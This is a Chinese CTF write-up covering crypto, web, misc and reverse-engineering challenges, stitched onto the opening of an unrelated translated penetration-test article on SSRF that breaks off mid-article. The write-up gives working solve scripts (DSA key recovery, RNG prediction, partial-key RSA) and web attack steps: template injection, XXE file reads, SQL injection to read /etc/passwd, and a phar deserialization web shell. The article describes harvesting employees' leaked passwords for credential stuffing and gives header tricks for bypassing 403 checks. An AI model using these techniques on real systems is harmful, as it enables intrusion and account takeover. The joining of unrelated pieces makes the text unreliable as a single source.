if __name__ == '__main__':
cipher="524160f3d098ad937e252494f827f8cf26cc549e432ff4b11ccbe2d8bfa76e5c6606aad5ba17488f11189d41bca45baa"
BS = AES.block_size # aes数据分组长度为128 bit
key="asdfghjkl1234567890qwertyuiopzxc"
demo = aesdemo(key)
e = demo.encrypt("a"*16)
p = demo.decrypt(cipher)
print p
## 伪造签名
首先从pub中提取DSA公钥，得到p,q,g。审计源代码，签名后计算出两个值s和r。其中私钥pri是未知的，s是由pri以及r运算生成的。让服务器对一个已知字符串进行签名，获得r和s，可以通过模p上的运算求出pri。得到私钥后即可伪造admin的签名，让服务器验证，获得flag。
#!use/bin/python
from hashlib import sha512
p=0x00e58c4b03419856a2bdf8e027d4634879d4f1d5cf62958efc7b4116d9850629577a2f3d29094af814a4d37843ae5ec0152641f93d48b8fa811c175b9aba4bac2c67312fd82caee22babdaf8d76bf6e9b5b1876bdae8b4ead8f85eecd5ecf7cc305cf03f38888027cf9db4bf89a50c04627772e7c957e29a81767cafb9be522a992d4dd1a755de77f8eed08f74e066bb456a4d19564d3680c21cce9846b3d9b703c25b53074c27c1718a82b00a3f6445001b89ba376d1387d499d1e7bfff90a97b1cf228e0abc0d683b80e7521249c88ec3bc85f311b70baece10b5753b2a29f159aafb75969eeee496b5e30224aa3fd289d1f43b6954f34b871637247f155ffc1
q= 0x00e02de0483211755e1479ab841fb11b71d0be7eecf58b6d7acbc001535714f44f
g=0x008162303e2cf766a23f4ca9209648f0b1b6034b22a577b2ed3982a40e1d4d821c8bd3fcc97c3407e18838a414639627e349a5e9dce42bbe9f653bab05652243803f8e5478aaf03e850236ca32d13814709aaa3433d3180503ea189bd4cdcad44b678b32d7e6e32903219d74fb457f24c28e7c4a53615a1b7cd834a52fa5ca4218190fd8c4b5c87647351a5d7ee960744461ec95c1c72b4327f7f83aea24922c1968d329ab91f287b601d09e36e366faae374f0a43cb445ba763eaeed6f75a4e694f3daec20d4d8148106e4bb79ed2d65fdf60d4310afaf19c9f84047cc815f2c713f99b23e4988ae70403953f8e3560a0f1f1ced572d03be8b99961955333d229
def s2h(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def h2i(s):
#print(s)
#print(type(s))
return int(str(s),16)
def nonce(msg, num):
n = 0
msg=h2i(msg)
num=h2i(num)
for i in str(msg):
i=int(i)**int(i)
d=int(str(int(i)*3141592653)[-6:])
n += num % d
n = (num-n) % d
return n
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def sign(data):
data = s2h(data)
k = nonce(data,q)
kinv = modinv(k, q)
r = pow(g, k, p) % q
h = sha512(data).hexdigest()
h = int(h,16)
s = kinv * (h + r * priv) % q
return (r, s)
def veryfy(data):
h = sha512(data).hexdigest()
h = int(h,16)
#get from server when name =admins
r1=90070573032872447121024029430718629638260432295511124276056848475122201240021L
s1=68073756336683619265031749533878249052846049048347537247828287528295874908598
data=s2h("admins")
k=nonce(data,q)
h = sha512(data).hexdigest()
h = int(h,16)
priv=((((s1*k)%q-h)%q) *modinv(r1,q))%q
print priv
(r,s)=sign("admins")
assert(r1==r)
assert(s1==s)
print sign("admin")
## Mixmix
这题总共有三关,先用rsa加密flag，随后随机生成第二组密钥，用于加密解密指数d的一半
首先可以用中间打印的随机数结果进行伪随机数预测，从而得到第二次加密的密钥
#python3
import os
#import primefac
import random
def generateBOX():
ss=[]
for i in range(624):
tmp=random.getrandbits(32)
ss.append(tmp)
BOX=[]
for i in range(32):
BOX.append(random.getrandbits(1024))
return ss,BOX
import linecache
import mt19937predictor
lines=linecache.getlines("output")
ss=lines[2:-1]
#ss,BOX=generateBOX()
predictor=mt19937predictor.MT19937Predictor()
for x in ss:
data=int(x.strip(),16)
predictor.setrandbits(data,32)
box=[]
for i in range(32):
box.append(predictor.getrandbits(1024))
print(box)
第二次采用的是对称加密，现在已有加密密钥，可以解密得到明文
import os
import libnum
import random
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
flag="a"*31
print "++good good study, day day up++"
def pad(m):
tmp=m+os.urandom(16-len(m) % 16)
if (len(tmp)/16) % 2 !=0:
tmp+=os.urandom(16)
return tmp
m=pad(flag)
def cipher1(m):
tmp= bytes_to_long(os.urandom(172)+m)
e=3
p=getPrime(1024)
q=getPrime(1024)
n=p*q
c=pow(tmp,e,n)
d=libnum.invmod(e,(p-1)*(q-1)) % ((p-1)*(q-1))
if pow(c,d,n)!=tmp:
return cipher1(m)
else:
print(long_to_bytes(n).encode("hex") )
print(long_to_bytes(c).encode("hex") )
print len(long_to_bytes(d))
return long_to_bytes(d)[-len(long_to_bytes(d))/2-1:]
#t=cipher1(m)
def pad2(m):
assert len(m)<256
return os.urandom(256-len(m))+m
#exit()
#t=pad2(t)
BOX=[100864670219083426053941742951101278177129530323892218254174300226604066612176917370728129811866589296846704142488203554327841397994166535936718914674316195646165723662233322971811758125973113747713164397136391519596862596258752323014550412894413975219024952374210555861253519865982128027658912706537000457733, 8744271934300658524557200003349876618407475721933310828210389005795702468478220692215689509419555494366016503363569517575105550526937526874486332433410874178151931178699005702750146028150698383268715595362634987357987248401295631138924588975305845108087722091671836254016589797877986685077667621859071827568, 101061747407292464318788771580585883496055200160356293149725904520317637992915450357967467893329294136715327003173902114755214477488478987833995411010082988086586951275683167449176083404549468803752190934895131433558246332674920959421588531070849813832695598962687135572078210949116054242561925404031812084418, 94157175404674084503979269073506915309206897600257708636725934781620621978144351806275692533749454249987712234312782178173654170242590184519876832376217428651863990301756525477772202696511469392651689051626606574939442928983651151604881324136292927917973554886969377690470512198803775239461175236999863341111, 130834513980262887909718731060446361962932102312972129220177183255765400102068455602630067689456028687464644916416545794993039546395191334719591032221967131224211316897068763030983450578508533325505879117075268595804463412675411017442033654347371824923843097448753773961008158637836850720044207796706185623795, 39391050397905908995378510995854370291012694644663323101752781578748888448003969087574062329315635226357510831739898695994561878045586110472921972957553694738709308514996897967978947000347458954783346877147920846271142562442977057630861265201471049179971593239449751616106111872068101065585197194545327210465, 125607787571004645175194544198599614849939231135301645624954563748878897853064654307533673375177493991222113682888773512760467601105855039033111100044489781180023929982350104958136118487777355808952530202118263254875742520992051262275577364548057003605347585871248695780474573482138035461347483438828836630112, 158532106224823022825997305902150328206052267794035621153980957134660538278157603371862206034019834817495692128962652917937991407014914157841838088566162807071712621386703866296972048229042738031253822612697583809680009689134482144069485589091506659569537008997944053286655593545394839016215322907618745332043, 157208173743406213217442024628181819371086621332545107114979393785203268743595625558684872965647302239770267307771915419472494760480558098042781899970802570387317693132730668666407757552566117140100290430360797562521937561014141249843824060123002299012766434771963990071197036719837956034050090974749542435891, 92804780786648799071867867400100926572109955871567253823677076900109410214298847406822988118660063227589646032464958426522394238899339709906229299799080950764819983287152153094643738769939368462852452231378098089190607592603683125696283530898995969639830281820201016094679297312936711317736724031735197335617, 161495378113302302723193115770690241546007805582241042778429692733715522172386407516829158058346662657382617988901655422555941747191207891062960840050357201798525150165221657342420266975952602267101153414710723337753304174862838198416234517365444693095003594414316344856277987468888632019925167278855337289053, 9903249589968574010153171737602318309198768828152733633935959997042880556132281289530928933653762397892086112838038170841457327428621278885733269282890840284877659877856122091944822768422636005742972690786639941209742419175081374346709725023185099912356435202669179031717022063067181254672272769780755636605, 132167049425962955085731646763629798610349128048981010428294273303923006758365694598138889672684516427846923823437883419151608889217660491485938912156580055591797078554729819688994159407483343701360701597005093037644323895899596556003266099664885176221259093726600153822899817731342624918000189006094623037059, 157200080553431618144413421271009566949348976395716766894613094101986136641827196220024713029876754394978160643140855881670258182651825878922514648449070456904752956934595014955635029974802230459121206958803441592550083435516266650103963687509784292395360653449446013591490069170150291181765338130336696495388, 37310650880075391113329014198596904409821484607626603437090909993734793224459203633376761296170163103323269271170938584415823528324337500450938860909751543969949280810880365290601655812667912681990321011282713101109005928156212884865744958218600546135473178754998807056821308004298243784505322954388006823280, 11878402987631804681330357170975587020264845002193926405848939739739089181778042254075133010350987971951647462288986630344860268593270253862527526029606075898683437148854665516415843288222901820619736394970564516680588041025978308333618290492130249634410674259018971038985834022787426914330393969087473007974, 140461878283517606500967656383752289634301068293088701849528304516431510539784027350785528941675613638440027244808120991932550762571686393053680992191021595113570610794144044227770477060579114327726521679464907418409132768960644582474455396748954334434431408996353350270402107654733202450404721451771999916745, 75011734157867997653490328662760409994004953302939387962104025955798797725053191463092965250666893473710554219322203956635316224589886083252244807569048719605154692271889372395482886243085622023135580891439923668075418551893732666443236363883704434508860328611901954480147894214571951770837890772741128421167, 175920820922427955715444292404295051019380738762847545620051806921394489801755976577389780324165215157384176885098861429145286612863282941938851629622295930840174393356144083923446393575271242821595172816823560756325700833609118047294838640383572474942756439808848109206314972426204008501705201092932151045032, 18225110072840051409299705167318350831599451882518720339754640331994597360664489819994730063278055793735801583603617689392955735702335232341586451346680147619085360820355364802249858508808563993638934536188000191815224777082882769593161027087761393164512626899734666969831601222420762677911170517335738857538, 55336154883204929742962840935944118304391828773480348128797964813307662476556440408591030079531875145291456653157712802292487167818352823264908512223580747145338857252789757073345720014588924942122139397362707906040918618164121598464576792753899948557227052407068476747367165092859526158898512366691995252051, 130956350313874272721895641984137720177320198847015290577041973106138358628419766498654641247273836779564354904329119548080333257723928193030374813278282085926467375127379242860273998566470728127171053576605586554720353343656723129787685240484026543684607994659499358481101862040941052598884166215338087616874, 75562609748311032509762480480692744002331371872068310782965723982500223152576111763570014287642999956840664531787262698084523045797693844085767062497158716550972042572103287601668919952677938554708559879289429250590907059462701362205733792421207918027968608553401021651075094453054188693437089133708191077213, 118174759535501001042056785626160010137406830921407815520450554680956323103636755065740853116915961198993545725880532608059890220161170630468515071393881661161695188120815585707125198280737517115250835904023756384494471150198086072108813534735091586043897414299552735786674627932000120567706738677091467787514, 176956736345331621386101138578292725149617733888078431063236262101605180419469684152191625712378704261531681170918872508880029128673916446926150150310773391751174955970024191172204009587442789563720854150147028507553385540744994688011478719368927128306943295032629118593359266963395146322549503012424985609665, 92781929183899769977684941231731104804097067405410552128714064948624904273926908122144704194310447745143280013512314714958120776597779411568949891713557828292617907297247754318099512273141193747779958072314564232216994433327169723346084995059366267352571239534018348012529751122737324913588657849472054143564, 88856973692906216222444347246568807876970133835159099585061129738650966565668161331587679328554555618045089222364413782721991662121814526328734613669113415866500509168837920324788222497993062671090097403992489259620726135658722517667729380011359806056904532569413850427182088051908735978816299960605662944055, 113750447985076352193601455931369994926317999826717360915893830533132638202791766956559606980928848886602605902115224871121551101697529836014990033757622009183403170441959316470055274443666071145413656449288817339439058194869737896305241842001899196353068631568058077829401159607819753058380674988622788530468, 172535263608299173176948050252317921248274611943581964481049167763232042995845811116167842340018203339974320416797523039744397301326388588495755827747683336155356100890896621108911015879028314731588596799653105656146779973271773170581106744976608118888734296181332629451256925245902663404399182603925493051505, 10813481050031547802094907355456970338491668194547580614106823872061456166269390857757372394365479480491446273722402017971942951476402169640860723225013912175493801330694155767930760014059204757590542449438183494419344927956049794175269029350294435521429585817443665669881285173615090571017147139022770870083, 87445510420989738310437859103349710587491745709573066034034711708946033146756942653942026333873916819069604759036188183841734663595408731876568667703294121210885478778425782623887682500334643116594579323201047173316501575978304759245887930402270304461903516142807534885644509403301732207455955592553444644496, 150369200989613601378284682304890610172130021028705012630477720057966575013177093513125291651320800445423399942631326982043659268206218607549003048613332265618734034313599638338187844883660400907717592748765467125062555914201945211395535375311214659291964652677147653485446023577199713953458635690335387146102]
def pad_128(m):
assert len(m)<=128
if len(m)==127:
return '\x00'+m
if len(m)==128:
return m
assert False
def singleround(m):
L=bytes_to_long(m[0:128])
R=bytes_to_long(m[128:256])
nL=R
nR=L^BOX[R%32]
return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def cipher2(m):
tmp=m
for i in range(32):
tmp=singleround(tmp)
return tmp
def desingleround(m):
L=bytes_to_long(m[0:128])
R=bytes_to_long(m[128:256])
nL=R^BOX[L%32]
nR=L
return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def de2(c):
tmp=c
for i in range(32):
tmp=desingleround(tmp)
return tmp
#cc=cipher2(t)
#print(t.encode("hex"))
#print(cc.encode("hex"))
cc="4246158d1f5ca30ee3b02fb151bab4dbe2a612e8bff32388c06149607edc83bdc3b9ae3f5c0b6a732acfc1302295fc3af8d53f07673ea570a07ace5b7b7890d8992fb06e7fe5ddc7c4c404f0336a69148f499802d1e3dcb6524946658b25cfdd855ee871050535dbddec523d77dd12393d745b9d9848327faf64b2a44779db9af21f14b2918c0057c7075224f86e8f0128ec5a3583cc86986b4a5afa3ff79b04954937d1b6082383a8287acc568ce196ee6d2cf3bc57c6f2eeb2cd9fd296cb9a66090cf6c5631c56aaf7b2ad6eacdc12b0a8808cdf4b16bb6ff3ae92fb2e4486f4e5b2ade0b8afcee68d64885f37c95cc59d213200471a77aef8fb74cd0a8572"
cc=(cc.decode("hex"))
pd= de2(cc)[-129:]
print len(pd)
print bytes_to_long(pd)
解密出的结果是rsa加密d的一部分，可以根据一半的 d恢复完整的d
0# partial_d.sage
def partial_p(p0, kbits, n):
print p0
print kbits
print n
PR.<x> = PolynomialRing(Zmod(n))
nbits = n.nbits()
f = 2^kbits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3
if roots:
x0 = roots[0]
p = gcd(2^kbits*x0 + p0, n)
return ZZ(p)
def find_p(d0, kbits, e, n):
X = var('X')
for k in xrange(1, e+1):
results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
for x in results:
p0 = ZZ(x[0])
p = partial_p(p0, kbits, n)
if p:
return p
if __name__ == '__main__':
n = 0xbac8178c6c942524e947f05b688d4f589b99428d4e932b6aa3cf9fc668436fe828271348451c43b52392dda7fca416d58ca39ddeafa012c4ca1b66b08c003296f1608e2e88184a23d400607be608fd2b75b3be14cedc678f27e1d5c601c4793ec599eff29e4ae568669fea83e917d584c6f45a99c81b50a235deb8094514b9dc6f8fc3746d2f9575b7d828c190f4eba1c719e13e9158c3874e19ad2aa886cbbe037a840ac277edc4ba4f9593331dd22575f13db757b5affc75325bec1310801712b3d6292700633dba4ccd1e3b842f749e29114de611204d40d4e032dd1d88e479c63a09ed6ec1c9fc68b757d84e6ddbeabce9f71a96cb0c5187875a527e81c3
e = 3
beta = 0.5
epsilon = beta^2/7
nbits = n.nbits()
kbits = floor(nbits*(beta^2+epsilon))
#d0 = d & (2^kbits-1)
d0 = 41553968686912790458952954242993376120770631907046753685913743296462656479519115622338767486057957865327928162894905159713476559759372878811027305942550917690129221521319505264770463830494835755547904306581759923536797408961014041078383923539917501415413031359824770485620647758572837271668506768858761339247563
print "lower %d bits (of %d bits) is given" % (kbits, nbits)
p = find_p(d0, kbits, e, n)
print "found p: %d" % p
q = n//p
print inverse_mod(e, (p-1)*(q-1))
得到d之后最后解密出flag
d=15719329173101230775604925095713430429410017067730735720122774102026798292198854772582397931524981328066220201686253869681654538643216308659732679687068887144244339681292606585405634534782951769524179447943945928017418799051540509161882272727502124383771467244539059079789484131589823795198826681734443250466489631148083608378602690249331340288477433925901930416883386560607894108133072240151451713294504041574171909966081139950332854672625859935972900507941581759565393537375540648238054700355023950471918032942297781254286296194965889493933080236396888544403928268329653036490837233832639787140301937122334872345547
>>> from libnum import *
>>> n=0xbac8178c6c942524e947f05b688d4f589b99428d4e932b6aa3cf9fc668436fe828271348451c43b52392dda7fca416d58ca39ddeafa012c4ca1b66b08c003296f1608e2e88184a23d400607be608fd2b75b3be14cedc678f27e1d5c601c4793ec599eff29e4ae568669fea83e917d584c6f45a99c81b50a235deb8094514b9dc6f8fc3746d2f9575b7d828c190f4eba1c719e13e9158c3874e19ad2aa886cbbe037a840ac277edc4ba4f9593331dd22575f13db757b5affc75325bec1310801712b3d6292700633dba4ccd1e3b842f749e29114de611204d40d4e032dd1d88e479c63a09ed6ec1c9fc68b757d84e6ddbeabce9f71a96cb0c5187875a527e81c3
>>> c=0xb50f6b8e6e29b869119eaedc9b235d8754c7ce06ff1a5c9465622d5662e5b36e7f6d525f3a64e126bad4e5c06c24408b81e66f00f7c7a464e4514544683d5d92c84394fc41fd1a626b910bf8e5f30b87c64a129ff694bddca441d01a9d49835d90123fee879935236de2e25ecc4adb2c0bc6a17a2209e1ed5a31c4209f3d11974d464a7fb127ddf2ab9d9975798b7b11a1f4389bef23dd60d2a062fd7e3245e891a0f13b4b9f702b4796874bb8302c40047ad13f8fc421c02953fddb012029508cc80eaa3a89f72663cd563a3336db2bd5d8ab3bdf36239d1cf9a98cee265beec9d2283bc6dffff49a7e23f48efe9eba337f0a9f52a1c2f167387905364af412
>>> pow(c,d,n)
3853527054032297151288551799276978491484011652387602856669343677153153672488264869789362258706672913380725805959339051647753660398715672758041611417359221862191910186302849642986117379051948384641790806003045938775165662607856847624153370073390528916685325331400617639430264710801836071918474422247871191092731077060317333951332306026450738567711361523165024993865644207231472725193840873995914535584736228295533006603469862575861095201104822715553969226942033977480766434171551353277650319968784074525097625278661991131857615700533149787373545375247337643949376505455L
>> k=pow(c,d,n)
>>> n2s(k)
',\x9d\x10$\x8ft\x08\x9c\xc1?\x93B\xc5W\xb8\xab6\x8f\xe4)\x11\x1fM\x99\xb1\xfd\xdd\xd3D\t\xf4\x11\x7f\xaf%\x98\xfeN$\x06\xac\x1a\xfel\x12\xd6tr\xfcO\x96\x9d\xa7u\xa9w\x18\xb4\xde\x9cC+W\xc6\x87Jf&\xbd\xb6\xa7+\x0f\xf0\xe8\xd8\xd6\xc6\x87\x8f\x16\x19~\xe5c]\xfc\xb1)\x87\x81\xb3\x8d\xb6}H\x14\xbb\xec\x9d|k\x8eW\x89\xa6\xfb\xe1\x7f\xc6\x0fbg\x9bs\xc1ek\xd0\x87\x01\xe1\xbd#i\x17x~I\xf5\xc3\xf0\xbdD\xa8\x88Pn\x8a\xfdx\x07\xe9.\x1egW\x8d\x04\xafh)~\x8b\xcd\xe5\x05)R\xcf\xec*\x9f\xe3\r\x10c\xf62ygcflag{m1x_flag_for_alot_of_challenges_rsa_block_stream_ctf}\xf2x6\x01\x86o'
# Web
## Shadow
首先flask写的，测试发现存在模板注入，于是fuzz一下
/{{url_for. **globals** ['current_app'].config}}
得到配置文件，然后获取到了secret
'SECRET_KEY': 'as/ _d21as-+dhasod5a4s54: ><_()dfdsf'
解密session 如下：
于是伪造admin：
出现上传框，后来测了一下，貌似随便注册一下，也可以上传233333
随后开始fuzz，测试了很久，发现可以xxe ，，，
最后测试得到使用xinclude 读文件 然后在rq用户的 .bash_history 得到flag文件名
## Myblog
首先发现了index.php 这个时候发现了一个.index.php.swp 这里真是坑啊，与实际文件根本完全不一样。233333
下面说重点，
首先index.php cookie提示？Flag 尝试filter读源码，发现并没有什么卵用。。。
提示about也有后端，页面也说用了base64 于是猜测 about的base64 编码以后，存在文件，（这里猜了一年，服了）
然后读源码：
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);
if(isset($sign)){
$file = trim(file_get_contents($filename));
if($sign === $file){
echo 'Congratulation!<br>';
echo file_get_contents($$falg);
}
else{
echo 'don`t give up';
}
}
?>
简单的变量覆盖，尝试构造获取flag
## Babyt2
首先在登陆页面，发现提示，访问得到数据库结构：
Sql injection
既然给出了数据库，应该与sql注入有关，首先尝试正常功能，发现功能有 注册，登陆，上传文件，读取你上传的文件，然后开始尝试注入，在文件名出发现存在注入。
猜测sql语句为：update users set filepath = '' where id = 1；
于是构造利用，发现可以篡改其他用户，或者自己的filepath实现任意文件读取
构造如下：
Update users set filepath = ‘123’,filepath=’456’ where id =2 --1 ‘where id =1
这样就可以修改掉我们自己的filepath的值，然后尝试读一下文件。
任意文件读取
首先尝试读取 /etc/passwd:
然后点击导航栏show
抓包，发现读取成功。
读取源码
没有办法直接getshell，因此尝试读一下源码，但是发现不是默认路径，因此先读一下apache2的默认主机配置。
fuzz了一下，找到了配置文件为：`/etc/apache2/sites-available/000-default.conf`
读取如下：
然后读源码
file_get_contents 反序列化
在逻辑代码中，发现使用了file_get_contents ：
但是现在并没有一个可用的类，于是想到整个框架是使用了yii2 ，所以尝试读取composer.json 文件，查看是否有有漏洞的组件：
构造反序列化文件
在composer.json，里面发现了低版本的组件 guzzle，于是在phpggc中尝试查找有关反序列化漏洞利用,发现可以任意文件写入。
采用phpggc生成payload，但是这里没有什么可用的文件夹，去找了一下，发现了一个yii框架默认存储静态文件的文件夹，assets。
写脚本生成文件：
然后通过composer本地搭建虚拟环境，在vender文件夹中运行php，生成exploit.phar
getshell
将后缀改成txt，上传到uploads目录，然后通过注入，修改filepath为phar:///var/www/html/You_Cant_Gu3ss/uploads/1.txt
，点击show触发payload
采用老套路bypass：
compress.zlib://phar:///var/www/html/You_Cant_Gu3ss/uploads/1.txt/shell.php
执行生成的shell为：/var/www/html/You_Cant_Gu3ss/web/assets/a.php?a=ls
获取flag 通过shell查找到根目录flag 为fffffffffffffffff1sHere
# Misc
## Quotes
统计空格间的字符个数
import string
l1="My+mission+in+life+is+not+mer ely+to+survive+but to+thrive+and+to+do+so+w ith+s ome+pass i on+some+compass ion+so me+humor+and+some+style".split(' ')
l2 = [len(i) - i.count('+') for i in l1]
cs = [string.ascii_lowercase[i-1] if i > 0 else ' ' for i in l2]
print(''.join(cs)) # flag
## Traffic Light
题目是一个Gif文件，明显看到红绿交替闪烁，8次之后会有一次黄灯闪烁，于是想到01编码，黄灯是分割。
先把gif每一帧都提取出来，用python的PIL库可以方便提取
from PIL import Image
import os
gifFile = 'Traffic_Light.gif'
im = Image.open(gifFile)
pngDir = gifFile[:-4]
os.mkdir(pngDir)
try:
while True:
current = im.tell()
im.save(pngDir + '/' + str(current) + '.png')
im.seek(current + 1)
except EOFError:
pass
为了之后更好的识别颜色，顺便做一个剪切
def cut(idx):
fileName = './Traffic_Light/' + str(idx) + '.png'
im = Image.open(fileName)
x = 90
y = 30
w = 45
h = 140
region = im.crop((x, y, x+w, y+h))
newFileName ='./Traffic_Light/' + str(idx) + '_modify.png'
region.save(newFileName)
可以得到这样的图像
由于颜色比较简单，可以直接用识别图片主色调来进行颜色的区分，识别颜色，分别对应01分隔符。
def get_dominant_color(idx):
fileName = './Traffic_Light/' + str(idx) + '_modify.png'
image = Image.open(fileName)
image = image.convert('RGBA')
image.thumbnail((200, 200))
max_score = 0
dominant_color = 0
for count, (r, g, b, a) in image.getcolors(image.size[0] * image.size[1]):
# 跳过纯黑色
if a == 0:
continue
saturation = colorsys.rgb_to_hsv(r / 255.0, g / 255.0, b / 255.0)[1]
y = min(abs(r * 2104 + g * 4130 + b * 802 + 4096 + 131072) >> 13, 235)
y = (y - 16.0) / (235 - 16)
# 忽略高亮色
if y > 0.9:
continue
score = (saturation + 0.1) * count
if score > max_score:
max_score = score
dominant_color = (r, g, b)
#print r, g, b
if r == 61 :
#print 'green'
return 'green'
elif r == 103:
#print "red"
return 'red'
elif r == 255:
#print "===================== split ========================"
return 'yellow'
最后把01串转为可见字符
## GreatWall
用stegsolve打开图片，发现rgb的lsb里都有点东西，顺序改成bgr发现了jpg的头，于是提取出来，删掉前几个没用的byte，打开图片，发现一堆长短杠和+。猜测+是分隔符，长短杠分别是二进制的1和0，转换一下果然得到flag：
l=['1010011','1110100','110011','1100111','110100','1101110','110000','1100111','1110010','110100','1110000','1101000','1111001','1011111','110001','1110011','1011111','110001','1101110','1110100','110011','1110010','110011','1110011','1110100','110001','1101110','1100111']
s=''
for i in l:
s+=chr((int(i,2)))
#St3g4n0gr4phy_1s_1nt3r3st1ng
# Re
## Bad Block
首先patch掉两个反调函数，然后后面一堆block、god
block什么的逻辑逆了会发现都没有用，直接从cin开始看，首先对输入做了4轮异或，然后送进一个vm。分析vm代码，就是对输入的每一位异或了(36+i) *
2，然后与一个值比较。直接实现逆过程即可还原flag。
s=[
0x002E, 0x0026, 0x002D, 0x0029, 0x004D, 0x0067, 0x0005, 0x0044,
0x001A, 0x000E, 0x007F, 0x007F, 0x007D, 0x0065, 0x0077, 0x0024,
0x001A, 0x005D, 0x0033, 0x0051]
s2=[]
for i in range(20):
s2.append(s[i] ^ ((36+i)*2) )
for i in range(4):
for j in range(19,0,-1):
s2[j] ^= s2[j-1]
print ''.join(map(chr, s2) )
## Happy
放到IDA里看一看，发现解不出来，判断是加了壳。考虑动态跑一下dump内存来脱壳。
Dump出来之后用IDA重新打开，手动c一下把数据转换成代码
一边看反编译结果一边动态调试，程序在输入追加了“hh”。有一个base64，解不出来，先不管，继续往下动态调，发现有一个写死的key，然后进行了一些加密操作，和指定Byte对比check，稍微看了一下，根据一些常数，猜是不是DES加密，写代码尝试一下，果然解出flag
>>> s=[0x27,0x42,0xAC,0xA6,0x4B,0x90,0xA4,0x7D,0x47,0x40,0xCC,0x45, 0x7F,0xA1,0x2C,0xBC,0x83,0x52,0x5E,0x51,0x60,0xF9,0xEE,0x4F,0x3D,0x68,0xDD,
0xDE,0xE8,0x74,0xFA,0x1A,0x53,0x22,0x5B,0x13,0xC7,0xE5,0x7A,0x5E,0x58,0x80, 0xB0,0x65,0x99,0xF1,0x5B,0x4F]
>>> key='hAppysad'
>>> from Crypto.Cipher import DES
>>> des=DES.new(key,DES.MODE_ECB)
>>> s=map(chr,s)
>>> s
["'", 'B', '\xac', '\xa6', 'K', '\x90', '\xa4', '}', 'G', '@', '\xcc', 'E', '\x7f', '\xa1', ',', '\xbc', '\x83', 'R', '^', 'Q', '`', '\xf9', '\xee', 'O', '=', 'h', '\xdd', '\xde', '\xe8', 't', '\xfa', '\x1a', 'S', '"', '[', '\x13', '\xc7', '\xe5', 'z', '^', 'X', '\x80', '\xb0', 'e', '\x99', '\xf1', '[', 'O']
>>> s="".join(s)
>>> s
'\'B\xac\xa6K\x90\xa4}G@\xccE\x7f\xa1,\xbc\x83R^Q`\xf9\xeeO=h\xdd\xde\xe8t\xfa\x1aS"[\x13\xc7\xe5z^X\x80\xb0e\x99\xf1[O'
>>> des.decrypt(s)
'flag{If_u_kn0w_bas364_aNd_d3S_u_Wil1_be_happY}hh'
## Ctopia
一个游戏题，主函数中可以明显看到0%,25%,50%,75%等字符串，猜测要打通几关才能拿flag。玩了一会发现有的怪打不动，于是patch程序，把enemy::die的条件从血<=0改成>=0，然后运行游戏发现怪物都不见了23333，只有掉落的战利品。然后一路向上走就可以通关，每过一关会向secret里写4个byte的密钥，最终应该是16个byte的aes密钥。通关后要去什么爱琴海，但一直触发不了，看了下secret已经完整解出来了。重新看了下函数，发现最后打印flag需要一个end变量为1，于是patch掉再重启游戏，直接start即可得到flag： | 社区文章 |
# SSRF引发的血案
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1608797645&ver=2785&signature=nFZLB7yUvfFX*n9I9EHDGfW9skzR9DMGk-0coM6RkrzwfNS6uYOnGk8jtGQfFQvgSwf**wUbtgUULyFUEBJFshYCBm9QzMytgk5zX833mm44mZVmoQV75ZRIgTL7yazD&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1608797645&ver=2785&signature=nFZLB7yUvfFX*n9I9EHDGfW9skzR9DMGk-0coM6RkrzwfNS6uYOnGk8jtGQfFQvgSwf**wUbtgUULyFUEBJFshYCBm9QzMytgk5zX833mm44mZVmoQV75ZRIgTL7yazD&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
渗透能力的体现不只是储备0day的多少，许多站点能否被突破，对本身基础漏洞的熟练的配合利用也是一场考验，故事正是因机缘巧合拿到shell的一次记录总结。
## 从信息搜集到进入后台
客户给定的地址打开之后就只有一个登录页面，留下没有账号的我在风中凌乱。
一直怼一个登录框也不是事儿啊，没办法，只能先将端口，目录和弱口令先探测起来。
端口基本都开了感觉有点问题，ping 过之后发现有cdn。
很不幸，弱口令没爆出来，目录端口也没有太多的发现，当务之急就是需要一个账号进入系统。但是账号信息该从哪里搜集？？？
等等，项目开始客户是提供了邮箱地址作为报告的提交地址的，首字母大写+名@xxx的格式，和许多企业的命名规则一样。
一边先把人名字典构造起来，一边通过google语法去搜索相关邮箱，相关公司名称，运气不错，从大大小小几十个网站论坛上面发现七八个公司邮箱，和几个qq邮箱。
然后通过一些不可告人的的手段反查到了其中某些qq的绑定手机号，以及历史密码信息。
再次构造相关字典，果然人们都喜欢用类似的密码，撞库成功。
进入后台后，挨个测试了一遍功能点都没能发现getshell的，上传也没能绕过后缀限制。
都说没有getshell的渗透测试是不到位的，只发现一些中低危漏洞可没法满足。
## 简单的权限认证绕过
因为没有太多的收获，于是挨个访问之前dirbuster跑出来的目录，其中一个页面访问之后会有一道黑影一闪而过，然后跳转到登录页面，猜测做了权限验证，然后强制跳转了。
测试中有很多时候都可能遇到无权限访问的情况
当我们遇到访问403，401，302，或是弹框提示无权限可以尝试一下以下的办法。
1. GET /xxx HTTP/1.1 403
Host: test.com
绕过：
GET /xxx HTTP/1.1 200
Host: test.com
X-Original-URL: /xxx
2. GET /xxx HTTP/1.1 403
Host: test.com
绕过：
GET /xxx HTTP/1.1 200
Host: test.com
Referer: http://test.com/xxx
3. 302跳转：拦截并drop跳转的数据包，使其停留在当前页面。
4. 前端验证：只需要删掉对应的遮挡模块，或者是验证模块的前端代码。
这里使用burp拦截一下，扔掉后面的跳转，看到如下界面，弹窗还是提示没法访问，权限不够，但是和之前的访问403不一样了，难道是我使用了普通用户登录的缘故？？？
熟练的打开F12开发者模式。删掉前端代码看是否能使用他的功能。
删完权限验证模块的前端代码后，运气不错，还有部分功能可以使用。
## ssrf-通向shell的钥匙
